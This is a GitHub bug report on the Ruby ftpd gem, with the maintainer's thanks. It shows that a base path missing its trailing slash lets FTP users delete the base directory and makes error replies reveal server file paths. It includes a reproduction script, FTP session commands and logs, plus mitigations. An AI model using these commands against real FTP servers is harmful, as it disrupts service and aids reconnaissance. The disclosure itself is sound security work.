ftpd icon indicating copy to clipboard operation
ftpd copied to clipboard

FTP base path lack of trailing `/` results in denial of service and disclosure of the local file system path

Open bcoles opened this issue 7 years ago • 1 comments

The Ftpd::DiskFileSystem class suffers from a denial of service vulnerability and local file system path disclosure issues when the local file system path supplied in the constructor to be used as the base directory for the FTP server does not end with a trailing /.

This also includes temporary directories generated with Ftpd::TempDir.make which do not end with a trailing /. For example:

# irb
2.3.0 :001 > require 'ftpd'
 => true 
2.3.0 :002 > Ftpd::TempDir.make
 => "/tmp/d20170513-60691-1gn99k1"   # note: lack of trailing /

Tested on latest version of ftpd from GitHub repository (2.0.1).

The likelihood of this issue arising is increased due to the example code in the examples directory and the README which do not make use of a trailing /:

An excerpt from the README is shown below. Note the lack of the trailing /.

  def file_system(user)
    Ftpd::DiskFileSystem.new('/var/lib/ftp')
  end

Steps to Reproduce

Here's a simple example FTP script to reproduce these errors:

#!/usr/bin/env ruby

require 'ftpd'
require 'tmpdir'

class Driver
  def authenticate(user, password)
    true
  end
  def file_system(user)
    Ftpd::DiskFileSystem.new('/var/tmp/ftp')   # note: no trailing /
  end
end

driver = Driver.new
server = Ftpd::FtpServer.new(driver)
server.interface = '0.0.0.0'
server.port = 21
server.log = Logger.new($stdout)
server.start
puts "Server listening on port #{server.bound_port}"
gets

Denial of Service

It is possible to delete the base directory thus preventing users from uploading any additional files.

ftp> rmdir .
250 RMD command successful

Likewise, specifying rmdir .. will also delete the directory (note: it does NOT traverse and delete the parent directory, which is nice).

ftp> rmdir ..
250 RMD command successful

Here's a related excerpt from the server log:

# ./ftpd.rb 
Server listening on port 21
D, [2017-05-13T03:11:28.894137 #3962] DEBUG -- : 220 wconrad/ftpd 2.0.1
D, [2017-05-13T03:11:30.174613 #3962] DEBUG -- : USER asdf
D, [2017-05-13T03:11:30.174754 #3962] DEBUG -- : 331 Password required
D, [2017-05-13T03:11:30.782560 #3962] DEBUG -- : PASS **FILTERED**
D, [2017-05-13T03:11:30.782677 #3962] DEBUG -- : 230 Logged in
D, [2017-05-13T03:11:30.782796 #3962] DEBUG -- : SYST
D, [2017-05-13T03:11:30.782837 #3962] DEBUG -- : 215 UNIX Type: L8
D, [2017-05-13T03:11:32.488628 #3962] DEBUG -- : PORT 127,0,0,1,160,165
D, [2017-05-13T03:11:32.488804 #3962] DEBUG -- : 200 PORT command successful
D, [2017-05-13T03:11:32.488912 #3962] DEBUG -- : LIST
D, [2017-05-13T03:11:32.489077 #3962] DEBUG -- : 150 Opening ASCII mode data connection
D, [2017-05-13T03:11:32.489226 #3962] DEBUG -- : Sent 0 bytes
D, [2017-05-13T03:11:32.489354 #3962] DEBUG -- : 226 Transfer complete
D, [2017-05-13T03:11:34.668615 #3962] DEBUG -- : RMD .
D, [2017-05-13T03:11:34.668856 #3962] DEBUG -- : 250 RMD command successful

Local File System Path Disclosure

Various commands leak the local file system path of the ftpd base directory which may assist an attacker with further attacks against the system. This may also leak sensitive information in the event that the file system path contains sensitive information, such as client names, unique identifiers, PII, etc.

ftp> get . asdf
local: asdf remote: .
200 PORT command successful
150 Opening BINARY mode data connection
550 Is a directory @ io_fread - /var/tmp/ftp
ftp> get .. asdf
local: asdf remote: ..
200 PORT command successful
150 Opening BINARY mode data connection
550 Is a directory @ io_fread - /var/tmp/ftp
ftp> ren . asdf
350 RNFR accepted; ready for destination
550 Invalid argument @ rb_file_s_rename - (/var/tmp/ftp, /var/tmp/ftp/asdf)
ftp> ren .. asdf
350 RNFR accepted; ready for destination
550 Invalid argument @ rb_file_s_rename - (/var/tmp/ftp, /var/tmp/ftp/asdf)
ftp> del .
550 Is a directory @ unlink_internal - /var/tmp/ftp
ftp> del ..
550 Is a directory @ unlink_internal - /var/tmp/ftp

Although not directly related to the trailing slash issue, it's worth mentioning that attempting to delete a non-empty directory also discloses the local file system path.

ftp> ls asdf
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root     root          242 May 13 04:12 asdf
226 Transfer complete
ftp> rmdir asdf
550 Directory not empty @ dir_s_rmdir - /var/tmp/ftp/asdf

Notes

Note that these issues are also present when usnig Ftpd::TempDir.make

Here's some example output demonstrating some of these issues using the example code which makes use of Ftpd::TempDir.make.

Connected to 127.0.0.1.
220 wconrad/ftpd 2.0.1
Name (127.0.0.1:root): root
331 Password required
Password:
230 Logged in
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root     root           52 May 13 03:42 README
226 Transfer complete
ftp> del .
550 Is a directory @ unlink_internal - /tmp/d20170513-60051-1j26lxs
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root     root           52 May 13 03:42 README
226 Transfer complete
ftp> rmdir .
550 Directory not empty @ dir_s_rmdir - /tmp/d20170513-60051-1j26lxs
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
-rw-r--r-- 1 root     root           52 May 13 03:42 README
226 Transfer complete
ftp> del README
250 DELE command successful
ftp> rmdir .
250 RMD command successful
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
226 Transfer complete
ftp> 
ftp> put /etc/hosts asdf
local: /etc/hosts remote: asdf
200 PORT command successful
550 No such file or directory
ftp> ls
200 PORT command successful
150 Opening ASCII mode data connection
226 Transfer complete
ftp> 

Mitigation

To prevent disclosure of the file path, ensure 550 errors do not return the underlying error to the client.

To prevent denial of service by deleting the base directory, ensure the file system path specified in the Ftpd::DiskFileSystem constructor always makes use of a trailing slash /.

When the base path is specified with a trailing slash, a 550 Access denied error is returned in each instance identified above.

For example:

ftp> rmdir .
550 Access denied

bcoles avatar May 13 '17 08:05 bcoles

Outstanding bug report. I know how much time it takes to make a good one, so thank you.

wconrad avatar May 13 '17 13:05 wconrad